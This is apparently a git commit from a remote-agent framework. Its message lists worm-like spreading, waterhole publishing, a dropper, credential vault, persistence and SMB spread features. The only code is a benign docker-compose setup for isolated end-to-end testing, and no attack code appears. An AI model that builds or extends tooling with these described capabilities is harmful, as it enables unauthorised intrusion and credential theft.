feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e

Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests.

Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs.

Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.

docker/docker-compose.yml

@@ -0,0 +1,33 @@
+# Isolated Linux agent E2E — agent reaches only the server; server has pool egress.
+services:
+  server:
+    build:
+      context: ..
+      dockerfile: docker/Dockerfile.server
+    ports:
+      - "18989:8989"
+    networks:
+      - e2e-internal
+      - default
+    healthcheck:
+      test: ["CMD-SHELL", "curl -sf http://127.0.0.1:8989/api/v1/health || exit 1"]
+      interval: 5s
+      timeout: 3s
+      retries: 12
+      start_period: 15s
+
+  agent:
+    build:
+      context: ..
+      dockerfile: docker/Dockerfile.agent
+    depends_on:
+      server:
+        condition: service_healthy
+    networks:
+      - e2e-internal
+    restart: "no"
+
+networks:
+  e2e-internal:
+    driver: bridge
+    internal: true